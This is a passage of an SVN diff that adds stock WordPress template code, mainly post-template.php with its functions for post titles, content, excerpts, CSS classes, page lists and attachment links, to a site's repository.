+		if ('Plural-Forms' == $header)
+			$this->_gettext_select_plural_form = $this->_make_gettext_select_plural_form($value);
+	}
+
+	
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/post-template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/post-template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/post-template.php	(revision 44)
@@ -0,0 +1,1360 @@
+<?php
+/**
+ * WordPress Post Template Functions.
+ *
+ * Gets content for the current post in the loop.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Display the ID of the current item in the WordPress Loop.
+ *
+ * @since 0.71
+ * @uses $id
+ */
+function the_ID() {
+	global $id;
+	echo $id;
+}
+
+/**
+ * Retrieve the ID of the current item in the WordPress Loop.
+ *
+ * @since 2.1.0
+ * @uses $id
+ *
+ * @return unknown
+ */
+function get_the_ID() {
+	global $id;
+	return $id;
+}
+
+/**
+ * Display or retrieve the current post title with optional content.
+ *
+ * @since 0.71
+ *
+ * @param string $before Optional. Content to prepend to the title.
+ * @param string $after Optional. Content to append to the title.
+ * @param bool $echo Optional, default to true.Whether to display or return.
+ * @return null|string Null on no title. String if $echo parameter is false.
+ */
+function the_title($before = '', $after = '', $echo = true) {
+	$title = get_the_title();
+
+	if ( strlen($title) == 0 )
+		return;
+
+	$title = $before . $title . $after;
+
+	if ( $echo )
+		echo $title;
+	else
+		return $title;
+}
+
+/**
+ * Sanitize the current title when retrieving or displaying.
+ *
+ * Works like {@link the_title()}, except the parameters can be in a string or
+ * an array. See the function for what can be override in the $args parameter.
+ *
+ * The title before it is displayed will have the tags stripped and {@link
+ * esc_attr()} before it is passed to the user or displayed. The default
+ * as with {@link the_title()}, is to display the title.
+ *
+ * @since 2.3.0
+ *
+ * @param string|array $args Optional. Override the defaults.
+ * @return string|null Null on failure or display. String when echo is false.
+ */
+function the_title_attribute( $args = '' ) {
+	$title = get_the_title();
+
+	if ( strlen($title) == 0 )
+		return;
+
+	$defaults = array('before' => '', 'after' =>  '', 'echo' => true);
+	$r = wp_parse_args($args, $defaults);
+	extract( $r, EXTR_SKIP );
+
+
+	$title = $before . $title . $after;
+	$title = esc_attr(strip_tags($title));
+
+	if ( $echo )
+		echo $title;
+	else
+		return $title;
+}
+
+/**
+ * Retrieve post title.
+ *
+ * If the post is protected and the visitor is not an admin, then "Protected"
+ * will be displayed before the post title. If the post is private, then
+ * "Private" will be located before the post title.
+ *
+ * @since 0.71
+ *
+ * @param int $id Optional. Post ID.
+ * @return string
+ */
+function get_the_title( $id = 0 ) {
+	$post = &get_post($id);
+
+	$title = $post->post_title;
+
+	if ( !is_admin() ) {
+		if ( !empty($post->post_password) ) {
+			$protected_title_format = apply_filters('protected_title_format', __('Protected: %s'));
+			$title = sprintf($protected_title_format, $title);
+		} else if ( isset($post->post_status) && 'private' == $post->post_status ) {
+			$private_title_format = apply_filters('private_title_format', __('Private: %s'));
+			$title = sprintf($private_title_format, $title);
+		}
+	}
+	return apply_filters( 'the_title', $title, $post->ID );
+}
+
+/**
+ * Display the Post Global Unique Identifier (guid).
+ *
+ * The guid will appear to be a link, but should not be used as an link to the
+ * post. The reason you should not use it as a link, is because of moving the
+ * blog across domains.
+ *
+ * @since 1.5.0
+ *
+ * @param int $id Optional. Post ID.
+ */
+function the_guid( $id = 0 ) {
+	echo get_the_guid($id);
+}
+
+/**
+ * Retrieve the Post Global Unique Identifier (guid).
+ *
+ * The guid will appear to be a link, but should not be used as an link to the
+ * post. The reason you should not use it as a link, is because of moving the
+ * blog across domains.
+ *
+ * @since 1.5.0
+ *
+ * @param int $id Optional. Post ID.
+ * @return string
+ */
+function get_the_guid( $id = 0 ) {
+	$post = &get_post($id);
+
+	return apply_filters('get_the_guid', $post->guid);
+}
+
+/**
+ * Display the post content.
+ *
+ * @since 0.71
+ *
+ * @param string $more_link_text Optional. Content for when there is more text.
+ * @param string $stripteaser Optional. Teaser content before the more text.
+ * @param string $more_file Optional. Not used.
+ */
+function the_content($more_link_text = null, $stripteaser = 0, $more_file = '') {
+	$content = get_the_content($more_link_text, $stripteaser, $more_file);
+	$content = apply_filters('the_content', $content);
+	$content = str_replace(']]>', ']]&gt;', $content);
+	echo $content;
+}
+
+/**
+ * Retrieve the post content.
+ *
+ * @since 0.71
+ *
+ * @param string $more_link_text Optional. Content for when there is more text.
+ * @param string $stripteaser Optional. Teaser content before the more text.
+ * @param string $more_file Optional. Not used.
+ * @return string
+ */
+function get_the_content($more_link_text = null, $stripteaser = 0, $more_file = '') {
+	global $id, $post, $more, $page, $pages, $multipage, $preview, $pagenow;
+
+	if ( null === $more_link_text )
+		$more_link_text = __( '(more...)' );
+
+	$output = '';
+	$hasTeaser = false;
+
+	// If post password required and it doesn't match the cookie.
+	if ( post_password_required($post) ) {
+		$output = get_the_password_form();
+		return $output;
+	}
+
+	if ( $more_file != '' )
+		$file = $more_file;
+	else
+		$file = $pagenow; //$_SERVER['PHP_SELF'];
+
+	if ( $page > count($pages) ) // if the requested page doesn't exist
+		$page = count($pages); // give them the highest numbered page that DOES exist
+
+	$content = $pages[$page-1];
+	if ( preg_match('/<!--more(.*?)?-->/', $content, $matches) ) {
+		$content = explode($matches[0], $content, 2);
+		if ( !empty($matches[1]) && !empty($more_link_text) )
+			$more_link_text = strip_tags(wp_kses_no_null(trim($matches[1])));
+
+		$hasTeaser = true;
+	} else {
+		$content = array($content);
+	}
+	if ( (false !== strpos($post->post_content, '<!--noteaser-->') && ((!$multipage) || ($page==1))) )
+		$stripteaser = 1;
+	$teaser = $content[0];
+	if ( ($more) && ($stripteaser) && ($hasTeaser) )
+		$teaser = '';
+	$output .= $teaser;
+	if ( count($content) > 1 ) {
+		if ( $more ) {
+			$output .= '<span id="more-' . $id . '"></span>' . $content[1];
+		} else {
+			if ( ! empty($more_link_text) )
+				$output .= apply_filters( 'the_content_more_link', ' <a href="' . get_permalink() . "#more-$id\" class=\"more-link\">$more_link_text</a>", $more_link_text );
+			$output = force_balance_tags($output);
+		}
+
+	}
+	if ( $preview ) // preview fix for javascript bug with foreign languages
+		$output =	preg_replace_callback('/\%u([0-9A-F]{4})/', create_function('$match', 'return "&#" . base_convert($match[1], 16, 10) . ";";'), $output);
+
+	return $output;
+}
+
+/**
+ * Display the post excerpt.
+ *
+ * @since 0.71
+ * @uses apply_filters() Calls 'the_excerpt' hook on post excerpt.
+ */
+function the_excerpt() {
+	echo apply_filters('the_excerpt', get_the_excerpt());
+}
+
+/**
+ * Retrieve the post excerpt.
+ *
+ * @since 0.71
+ *
+ * @param mixed $deprecated Not used.
+ * @return string
+ */
+function get_the_excerpt($deprecated = '') {
+	global $post;
+	$output = '';
+	$output = $post->post_excerpt;
+	if ( post_password_required($post) ) {
+		$output = __('There is no excerpt because this is a protected post.');
+		return $output;
+	}
+
+	return apply_filters('get_the_excerpt', $output);
+}
+
+/**
+ * Whether post has excerpt.
+ *
+ * @since 2.3.0
+ *
+ * @param int $id Optional. Post ID.
+ * @return bool
+ */
+function has_excerpt( $id = 0 ) {
+	$post = &get_post( $id );
+	return ( !empty( $post->post_excerpt ) );
+}
+
+/**
+ * Display the classes for the post div.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int $post_id An optional post ID.
+ */
+function post_class( $class = '', $post_id = null ) {
+	// Separates classes with a single space, collates classes for post DIV
+	echo 'class="' . join( ' ', get_post_class( $class, $post_id ) ) . '"';
+}
+
+/**
+ * Retrieve the classes for the post div as an array.
+ *
+ * The class names are add are many. If the post is a sticky, then the 'sticky'
+ * class name. The class 'hentry' is always added to each post. For each
+ * category, the class will be added with 'category-' with category slug is
+ * added. The tags are the same way as the categories with 'tag-' before the tag
+ * slug. All classes are passed through the filter, 'post_class' with the list
+ * of classes, followed by $class parameter value, with the post ID as the last
+ * parameter.
+ *
+ * @since 2.7.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @param int $post_id An optional post ID.
+ * @return array Array of classes.
+ */
+function get_post_class( $class = '', $post_id = null ) {
+	$post = get_post($post_id);
+
+	$classes = array();
+
+	$classes[] = 'post-' . $post->ID;
+	$classes[] = $post->post_type;
+
+	// sticky for Sticky Posts
+	if ( is_sticky($post->ID) && is_home())
+		$classes[] = 'sticky';
+
+	// hentry for hAtom compliace
+	$classes[] = 'hentry';
+
+	// Categories
+	foreach ( (array) get_the_category($post->ID) as $cat ) {
+		if ( empty($cat->slug ) )
+			continue;
+		$classes[] = 'category-' . sanitize_html_class($cat->slug, $cat->cat_ID);
+	}
+
+	// Tags
+	foreach ( (array) get_the_tags($post->ID) as $tag ) {
+		if ( empty($tag->slug ) )
+			continue;
+		$classes[] = 'tag-' . sanitize_html_class($tag->slug, $tag->term_id);
+	}
+
+	if ( !empty($class) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split('#\s+#', $class);
+		$classes = array_merge($classes, $class);
+	}
+
+	return apply_filters('post_class', $classes, $class, $post_id);
+}
+
+/**
+ * Display the classes for the body element.
+ *
+ * @since 2.8.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ */
+function body_class( $class = '' ) {
+	// Separates classes with a single space, collates classes for body element
+	echo 'class="' . join( ' ', get_body_class( $class ) ) . '"';
+}
+
+/**
+ * Retrieve the classes for the body element as an array.
+ *
+ * @since 2.8.0
+ *
+ * @param string|array $class One or more classes to add to the class list.
+ * @return array Array of classes.
+ */
+function get_body_class( $class = '' ) {
+	global $wp_query, $wpdb, $current_user;
+
+	$classes = array();
+
+	if ( 'rtl' == get_bloginfo('text_direction') )
+		$classes[] = 'rtl';
+
+	if ( is_front_page() )
+		$classes[] = 'home';
+	if ( is_home() )
+		$classes[] = 'blog';
+	if ( is_archive() )
+		$classes[] = 'archive';
+	if ( is_date() )
+		$classes[] = 'date';
+	if ( is_search() )
+		$classes[] = 'search';
+	if ( is_paged() )
+		$classes[] = 'paged';
+	if ( is_attachment() )
+		$classes[] = 'attachment';
+	if ( is_404() )
+		$classes[] = 'error404';
+
+	if ( is_single() ) {
+		$wp_query->post = $wp_query->posts[0];
+		setup_postdata($wp_query->post);
+
+		$postID = $wp_query->post->ID;
+		$classes[] = 'single postid-' . $postID;
+
+		if ( is_attachment() ) {
+			$mime_type = get_post_mime_type();
+			$mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' );
+			$classes[] = 'attachmentid-' . $postID;
+			$classes[] = 'attachment-' . str_replace($mime_prefix, '', $mime_type);
+		}
+	} elseif ( is_archive() ) {
+		if ( is_author() ) {
+			$author = $wp_query->get_queried_object();
+			$classes[] = 'author';
+			$classes[] = 'author-' . sanitize_html_class($author->user_nicename , $author->user_id);
+		} elseif ( is_category() ) {
+			$cat = $wp_query->get_queried_object();
+			$classes[] = 'category';
+			$classes[] = 'category-' . sanitize_html_class($cat->slug, $cat->cat_ID);
+		} elseif ( is_tag() ) {
+			$tags = $wp_query->get_queried_object();
+			$classes[] = 'tag';
+			$classes[] = 'tag-' . sanitize_html_class($tags->slug, $tags->term_id);
+		}
+	} elseif ( is_page() ) {
+		$classes[] = 'page';
+
+		$wp_query->post = $wp_query->posts[0];
+		setup_postdata($wp_query->post);
+
+		$pageID = $wp_query->post->ID;
+
+		$classes[] = 'page-id-' . $pageID;
+
+		if ( $wpdb->get_var( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'page' LIMIT 1", $pageID) ) )
+			$classes[] = 'page-parent';
+
+		if ( $wp_query->post->post_parent ) {
+			$classes[] = 'page-child';
+			$classes[] = 'parent-pageid-' . $wp_query->post->post_parent;
+		}
+		if ( is_page_template() ) {
+			$classes[] = 'page-template';
+			$classes[] = 'page-template-' . str_replace( '.php', '-php', get_post_meta( $pageID, '_wp_page_template', true ) );
+		}
+	} elseif ( is_search() ) {
+		if ( !empty($wp_query->posts) )
+			$classes[] = 'search-results';
+		else
+			$classes[] = 'search-no-results';
+	}
+
+	if ( is_user_logged_in() )
+		$classes[] = 'logged-in';
+
+	$page = $wp_query->get('page');
+
+	if ( !$page || $page < 2)
+		$page = $wp_query->get('paged');
+
+	if ( $page && $page > 1 ) {
+		$classes[] = 'paged-' . $page;
+
+		if ( is_single() )
+			$classes[] = 'single-paged-' . $page;
+		elseif ( is_page() )
+			$classes[] = 'page-paged-' . $page;
+		elseif ( is_category() )
+			$classes[] = 'category-paged-' . $page;
+		elseif ( is_tag() )
+			$classes[] = 'tag-paged-' . $page;
+		elseif ( is_date() )
+			$classes[] = 'date-paged-' . $page;
+		elseif ( is_author() )
+			$classes[] = 'author-paged-' . $page;
+		elseif ( is_search() )
+			$classes[] = 'search-paged-' . $page;
+	}
+
+	if ( !empty($class) ) {
+		if ( !is_array( $class ) )
+			$class = preg_split('#\s+#', $class);
+		$classes = array_merge($classes, $class);
+	}
+
+	return apply_filters('body_class', $classes, $class);
+}
+
+/**
+ * Whether post requires password and correct password has been provided.
+ *
+ * @since 2.7.0
+ *
+ * @param int|object $post An optional post.  Global $post used if not provided.
+ * @return bool false if a password is not required or the correct password cookie is present, true otherwise.
+ */
+function post_password_required( $post = null ) {
+	$post = get_post($post);
+
+	if ( empty($post->post_password) )
+		return false;
+
+	if ( !isset($_COOKIE['wp-postpass_' . COOKIEHASH]) )
+		return true;
+
+	if ( $_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password )
+		return true;
+
+	return false;
+}
+
+/**
+ * Display "sticky" CSS class, if a post is sticky.
+ *
+ * @since 2.7.0
+ *
+ * @param int $post_id An optional post ID.
+ */
+function sticky_class( $post_id = null ) {
+	if ( !is_sticky($post_id) )
+		return;
+
+	echo " sticky";
+}
+
+/**
+ * Page Template Functions for usage in Themes
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * The formatted output of a list of pages.
+ *
+ * Displays page links for paginated posts (i.e. includes the <!--nextpage-->.
+ * Quicktag one or more times). This tag must be within The Loop.
+ *
+ * The defaults for overwriting are:
+ * 'next_or_number' - Default is 'number' (string). Indicates whether page
+ *      numbers should be used. Valid values are number and next.
+ * 'nextpagelink' - Default is 'Next Page' (string). Text for link to next page.
+ *      of the bookmark.
+ * 'previouspagelink' - Default is 'Previous Page' (string). Text for link to
+ *      previous page, if available.
+ * 'pagelink' - Default is '%' (String).Format string for page numbers. The % in
+ *      the parameter string will be replaced with the page number, so Page %
+ *      generates "Page 1", "Page 2", etc. Defaults to %, just the page number.
+ * 'before' - Default is '<p> Pages:' (string). The html or text to prepend to
+ *      each bookmarks.
+ * 'after' - Default is '</p>' (string). The html or text to append to each
+ *      bookmarks.
+ * 'more_file' - Default is '' (string) Page the links should point to. Defaults
+ *      to the current page.
+ * 'link_before' - Default is '' (string). The html or text to prepend to each
+ *      Pages link inside the <a> tag.
+ * 'link_after' - Default is '' (string). The html or text to append to each
+ *      Pages link inside the <a> tag.
+ *
+ * @since 1.2.0
+ * @access private
+ *
+ * @param string|array $args Optional. Overwrite the defaults.
+ * @return string Formatted output in HTML.
+ */
+function wp_link_pages($args = '') {
+	$defaults = array(
+		'before' => '<p>' . __('Pages:'), 'after' => '</p>',
+		'link_before' => '', 'link_after' => '',
+		'next_or_number' => 'number', 'nextpagelink' => __('Next page'),
+		'previouspagelink' => __('Previous page'), 'pagelink' => '%',
+		'more_file' => '', 'echo' => 1
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	global $post, $page, $numpages, $multipage, $more, $pagenow;
+	if ( $more_file != '' )
+		$file = $more_file;
+	else
+		$file = $pagenow;
+
+	$output = '';
+	if ( $multipage ) {
+		if ( 'number' == $next_or_number ) {
+			$output .= $before;
+			for ( $i = 1; $i < ($numpages+1); $i = $i + 1 ) {
+				$j = str_replace('%',"$i",$pagelink);
+				$output .= ' ';
+				if ( ($i != $page) || ((!$more) && ($page==1)) ) {
+					if ( 1 == $i ) {
+						$output .= '<a href="' . get_permalink() . '">';
+					} else {
+						if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) )
+							$output .= '<a href="' . get_permalink() . '&amp;page=' . $i . '">';
+						else
+							$output .= '<a href="' . trailingslashit(get_permalink()) . user_trailingslashit($i, 'single_paged') . '">';
+					}
+
+				}
+				$output .= $link_before;
+				$output .= $j;
+				$output .= $link_after;
+				if ( ($i != $page) || ((!$more) && ($page==1)) )
+					$output .= '</a>';
+			}
+			$output .= $after;
+		} else {
+			if ( $more ) {
+				$output .= $before;
+				$i = $page - 1;
+				if ( $i && $more ) {
+					if ( 1 == $i ) {
+						$output .= '<a href="' . get_permalink() . '">' . $link_before. $previouspagelink . $link_after . '</a>';
+					} else {
+						if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) )
+							$output .= '<a href="' . get_permalink() . '&amp;page=' . $i . '">' . $link_before. $previouspagelink . $link_after . '</a>';
+						else
+							$output .= '<a href="' . trailingslashit(get_permalink()) . user_trailingslashit($i, 'single_paged') . '">' . $link_before. $previouspagelink . $link_after . '</a>';
+					}
+				}
+				$i = $page + 1;
+				if ( $i <= $numpages && $more ) {
+					if ( 1 == $i ) {
+						$output .= '<a href="' . get_permalink() . '">' . $link_before. $nextpagelink . $link_after . '</a>';
+					} else {
+						if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) )
+							$output .= '<a href="' . get_permalink() . '&amp;page=' . $i . '">' . $link_before. $nextpagelink . $link_after . '</a>';
+						else
+							$output .= '<a href="' . trailingslashit(get_permalink()) . user_trailingslashit($i, 'single_paged') . '">' . $link_before. $nextpagelink . $link_after . '</a>';
+					}
+				}
+				$output .= $after;
+			}
+		}
+	}
+
+	if ( $echo )
+		echo $output;
+
+	return $output;
+}
+
+
+//
+// Post-meta: Custom per-post fields.
+//
+
+/**
+ * Retrieve post custom meta data field.
+ *
+ * @since 1.5.0
+ *
+ * @param string $key Meta data key name.
+ * @return string|array Array of values or single value, if only one element exists.
+ */
+function post_custom( $key = '' ) {
+	$custom = get_post_custom();
+
+	if ( 1 == count($custom[$key]) )
+		return $custom[$key][0];
+	else
+		return $custom[$key];
+}
+
+/**
+ * Display list of post custom fields.
+ *
+ * @internal This will probably change at some point...
+ * @since 1.2.0
+ * @uses apply_filters() Calls 'the_meta_key' on list item HTML content, with key and value as separate parameters.
+ */
+function the_meta() {
+	if ( $keys = get_post_custom_keys() ) {
+		echo "<ul class='post-meta'>\n";
+		foreach ( (array) $keys as $key ) {
+			$keyt = trim($key);
+			if ( '_' == $keyt{0} )
+				continue;
+			$values = array_map('trim', get_post_custom_values($key));
+			$value = implode($values,', ');
+			echo apply_filters('the_meta_key', "<li><span class='post-meta-key'>$key:</span> $value</li>\n", $key, $value);
+		}
+		echo "</ul>\n";
+	}
+}
+
+//
+// Pages
+//
+
+/**
+ * Retrieve or display list of pages as a dropdown (select list).
+ *
+ * @since 2.1.0
+ *
+ * @param array|string $args Optional. Override default arguments.
+ * @return string HTML content, if not displaying.
+ */
+function wp_dropdown_pages($args = '') {
+	$defaults = array(
+		'depth' => 0, 'child_of' => 0,
+		'selected' => 0, 'echo' => 1,
+		'name' => 'page_id', 'show_option_none' => '', 'show_option_no_change' => '',
+		'option_none_value' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	$pages = get_pages($r);
+	$output = '';
+
+	if ( ! empty($pages) ) {
+		$output = "<select name=\"$name\" id=\"$name\">\n";
+		if ( $show_option_no_change )
+			$output .= "\t<option value=\"-1\">$show_option_no_change</option>";
+		if ( $show_option_none )
+			$output .= "\t<option value=\"" . esc_attr($option_none_value) . "\">$show_option_none</option>\n";
+		$output .= walk_page_dropdown_tree($pages, $depth, $r);
+		$output .= "</select>\n";
+	}
+
+	$output = apply_filters('wp_dropdown_pages', $output);
+
+	if ( $echo )
+		echo $output;
+
+	return $output;
+}
+
+/**
+ * Retrieve or display list of pages in list (li) format.
+ *
+ * @since 1.5.0
+ *
+ * @param array|string $args Optional. Override default arguments.
+ * @return string HTML content, if not displaying.
+ */
+function wp_list_pages($args = '') {
+	$defaults = array(
+		'depth' => 0, 'show_date' => '',
+		'date_format' => get_option('date_format'),
+		'child_of' => 0, 'exclude' => '',
+		'title_li' => __('Pages'), 'echo' => 1,
+		'authors' => '', 'sort_column' => 'menu_order, post_title',
+		'link_before' => '', 'link_after' => ''
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	$output = '';
+	$current_page = 0;
+
+	// sanitize, mostly to keep spaces out
+	$r['exclude'] = preg_replace('/[^0-9,]/', '', $r['exclude']);
+
+	// Allow plugins to filter an array of excluded pages
+	$r['exclude'] = implode(',', apply_filters('wp_list_pages_excludes', explode(',', $r['exclude'])));
+
+	// Query pages.
+	$r['hierarchical'] = 0;
+	$pages = get_pages($r);
+
+	if ( !empty($pages) ) {
+		if ( $r['title_li'] )
+			$output .= '<li class="pagenav">' . $r['title_li'] . '<ul>';
+
+		global $wp_query;
+		if ( is_page() || is_attachment() || $wp_query->is_posts_page )
+			$current_page = $wp_query->get_queried_object_id();
+		$output .= walk_page_tree($pages, $r['depth'], $current_page, $r);
+
+		if ( $r['title_li'] )
+			$output .= '</ul></li>';
+	}
+
+	$output = apply_filters('wp_list_pages', $output);
+
+	if ( $r['echo'] )
+		echo $output;
+	else
+		return $output;
+}
+
+/**
+ * Display or retrieve list of pages with optional home link.
+ *
+ * The arguments are listed below and part of the arguments are for {@link
+ * wp_list_pages()} function. Check that function for more info on those
+ * arguments.
+ *
+ * <ul>
+ * <li><strong>sort_column</strong> - How to sort the list of pages. Defaults
+ * to page title. Use column for posts table.</li>
+ * <li><strong>menu_class</strong> - Class to use for the div ID which contains
+ * the page list. Defaults to 'menu'.</li>
+ * <li><strong>echo</strong> - Whether to echo list or return it. Defaults to
+ * echo.</li>
+ * <li><strong>link_before</strong> - Text before show_home argument text.</li>
+ * <li><strong>link_after</strong> - Text after show_home argument text.</li>
+ * <li><strong>show_home</strong> - If you set this argument, then it will
+ * display the link to the home page. The show_home argument really just needs
+ * to be set to the value of the text of the link.</li>
+ * </ul>
+ *
+ * @since 2.7.0
+ *
+ * @param array|string $args
+ */
+function wp_page_menu( $args = array() ) {
+	$defaults = array('sort_column' => 'menu_order, post_title', 'menu_class' => 'menu', 'echo' => true, 'link_before' => '', 'link_after' => '');
+	$args = wp_parse_args( $args, $defaults );
+	$args = apply_filters( 'wp_page_menu_args', $args );
+
+	$menu = '';
+
+	$list_args = $args;
+
+	// Show Home in the menu
+	if ( isset($args['show_home']) && ! empty($args['show_home']) ) {
+		if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] )
+			$text = __('Home');
+		else
+			$text = $args['show_home'];
+		$class = '';
+		if ( is_front_page() && !is_paged() )
+			$class = 'class="current_page_item"';
+		$menu .= '<li ' . $class . '><a href="' . get_option('home') . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
+		// If the front page is a page, add it to the exclude list
+		if (get_option('show_on_front') == 'page') {
+			if ( !empty( $list_args['exclude'] ) ) {
+				$list_args['exclude'] .= ',';
+			} else {
+				$list_args['exclude'] = '';
+			}
+			$list_args['exclude'] .= get_option('page_on_front');
+		}
+	}
+
+	$list_args['echo'] = false;
+	$list_args['title_li'] = '';
+	$menu .= str_replace( array( "\r", "\n", "\t" ), '', wp_list_pages($list_args) );
+
+	if ( $menu )
+		$menu = '<ul>' . $menu . '</ul>';
+
+	$menu = '<div class="' . $args['menu_class'] . '">' . $menu . "</div>\n";
+	$menu = apply_filters( 'wp_page_menu', $menu, $args );
+	if ( $args['echo'] )
+		echo $menu;
+	else
+		return $menu;
+}
+
+//
+// Page helpers
+//
+
+/**
+ * Retrieve HTML list content for page list.
+ *
+ * @uses Walker_Page to create HTML list content.
+ * @since 2.1.0
+ * @see Walker_Page::walk() for parameters and return description.
+ */
+function walk_page_tree($pages, $depth, $current_page, $r) {
+	if ( empty($r['walker']) )
+		$walker = new Walker_Page;
+	else
+		$walker = $r['walker'];
+
+	$args = array($pages, $depth, $r, $current_page);
+	return call_user_func_array(array(&$walker, 'walk'), $args);
+}
+
+/**
+ * Retrieve HTML dropdown (select) content for page list.
+ *
+ * @uses Walker_PageDropdown to create HTML dropdown content.
+ * @since 2.1.0
+ * @see Walker_PageDropdown::walk() for parameters and return description.
+ */
+function walk_page_dropdown_tree() {
+	$args = func_get_args();
+	if ( empty($args[2]['walker']) ) // the user's options are the third parameter
+		$walker = new Walker_PageDropdown;
+	else
+		$walker = $args[2]['walker'];
+
+	return call_user_func_array(array(&$walker, 'walk'), $args);
+}
+
+//
+// Attachments
+//
+
+/**
+ * Display an attachment page link using an image or icon.
+ *
+ * @since 2.0.0
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default is false. Whether to use full size.
+ * @param bool $deprecated Deprecated. Not used.
+ * @param bool $permalink Optional, default is false. Whether to include permalink.
+ */
+function the_attachment_link($id = 0, $fullsize = false, $deprecated = false, $permalink = false) {
+	if ( $fullsize )
+		echo wp_get_attachment_link($id, 'full', $permalink);
+	else
+		echo wp_get_attachment_link($id, 'thumbnail', $permalink);
+}
+
+/**
+ * Retrieve an attachment page link using an image or icon, if possible.
+ *
+ * @since 2.5.0
+ * @uses apply_filters() Calls 'wp_get_attachment_link' filter on HTML content with same parameters as function.
+ *
+ * @param int $id Optional. Post ID.
+ * @param string $size Optional, default is 'thumbnail'. Size of image, either array or string.
+ * @param bool $permalink Optional, default is false. Whether to add permalink to image.
+ * @param bool $icon Optional, default is false. Whether to include icon.
+ * @param string $text Optional, default is false. If string, then will be link text.
+ * @return string HTML content.
+ */
+function wp_get_attachment_link($id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false) {
+	$id = intval($id);
+	$_post = & get_post( $id );
+
+	if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) )
+		return __('Missing Attachment');
+
+	if ( $permalink )
+		$url = get_attachment_link($_post->ID);
+
+	$post_title = esc_attr($_post->post_title);
+
+	if ( $text ) {
+		$link_text = esc_attr($text);
+	} elseif ( ( is_int($size) && $size != 0 ) or ( is_string($size) && $size != 'none' ) or $size != false ) {
+		$link_text = wp_get_attachment_image($id, $size, $icon);
+	}
+
+	if( trim($link_text) == '' )
+		$link_text = $_post->post_title;
+
+	return apply_filters( 'wp_get_attachment_link', "<a href='$url' title='$post_title'>$link_text</a>", $id, $size, $permalink, $icon, $text );
+}
+
+/**
+ * Retrieve HTML content of attachment image with link.
+ *
+ * @since 2.0.0
+ * @deprecated Use {@link wp_get_attachment_link()}
+ * @see wp_get_attachment_link() Use instead.
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default is false. Whether to use full size image.
+ * @param array $max_dims Optional. Max image dimensions.
+ * @param bool $permalink Optional, default is false. Whether to include permalink to image.
+ * @return string
+ */
+function get_the_attachment_link($id = 0, $fullsize = false, $max_dims = false, $permalink = false) {
+	$id = (int) $id;
+	$_post = & get_post($id);
+
+	if ( ('attachment' != $_post->post_type) || !$url = wp_get_attachment_url($_post->ID) )
+		return __('Missing Attachment');
+
+	if ( $permalink )
+		$url = get_attachment_link($_post->ID);
+
+	$post_title = esc_attr($_post->post_title);
+
+	$innerHTML = get_attachment_innerHTML($_post->ID, $fullsize, $max_dims);
+	return "<a href='$url' title='$post_title'>$innerHTML</a>";
+}
+
+/**
+ * Retrieve icon URL and Path.
+ *
+ * @since 2.1.0
+ * @deprecated Use {@link wp_get_attachment_image_src()}
+ * @see wp_get_attachment_image_src() Use instead.
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full image.
+ * @return array Icon URL and full path to file, respectively.
+ */
+function get_attachment_icon_src( $id = 0, $fullsize = false ) {
+	$id = (int) $id;
+	if ( !$post = & get_post($id) )
+		return false;
+
+	$file = get_attached_file( $post->ID );
+
+	if ( !$fullsize && $src = wp_get_attachment_thumb_url( $post->ID ) ) {
+		// We have a thumbnail desired, specified and existing
+
+		$src_file = basename($src);
+		$class = 'attachmentthumb';
+	} elseif ( wp_attachment_is_image( $post->ID ) ) {
+		// We have an image without a thumbnail
+
+		$src = wp_get_attachment_url( $post->ID );
+		$src_file = & $file;
+		$class = 'attachmentimage';
+	} elseif ( $src = wp_mime_type_icon( $post->ID ) ) {
+		// No thumb, no image. We'll look for a mime-related icon instead.
+
+		$icon_dir = apply_filters( 'icon_dir', get_template_directory() . '/images' );
+		$src_file = $icon_dir . '/' . basename($src);
+	}
+
+	if ( !isset($src) || !$src )
+		return false;
+
+	return array($src, $src_file);
+}
+
+/**
+ * Retrieve HTML content of icon attachment image element.
+ *
+ * @since 2.0.0
+ * @deprecated Use {@link wp_get_attachment_image()}
+ * @see wp_get_attachment_image() Use instead of.
+ *
+ * @param int $id Optional. Post ID.
+ * @param bool $fullsize Optional, default to false. Whether to have full size image.
+ * @param array $max_dims Optional. Dimensions of image.
+ * @return string HTML content.
+ */
+function get_attachment_icon( $id = 0, $fullsize = false, $max_dims = false ) {
+	$id = (int) $id;
+	if ( !$post = & get_post($id) )
+		return false;
+
+	if ( !$src = get_attachment_icon_src( $post->ID, $fullsize ) )
+		return false;
+
+	list($src, $src_file) = $src;
+
+	// Do we need to constrain the image?
+	if ( ($max_dims = apply_filters('attachment_max_dims', $max_dims)) && file_exists($src_file) ) {
+
+		$imagesize = getimagesize($src_file);
+
+		if (($imagesize[0] > $max_dims[0]) || $imagesize[1] > $max_dims[1] ) {
+			$actual_aspect = $imagesize[0] / $imagesize[1];
+			$desired_aspect = $max_dims[0] / $max_dims[1];
+
+			if ( $actual_aspect >= $desired_aspect ) {
+				$height = $actual_aspect * $max_dims[0];
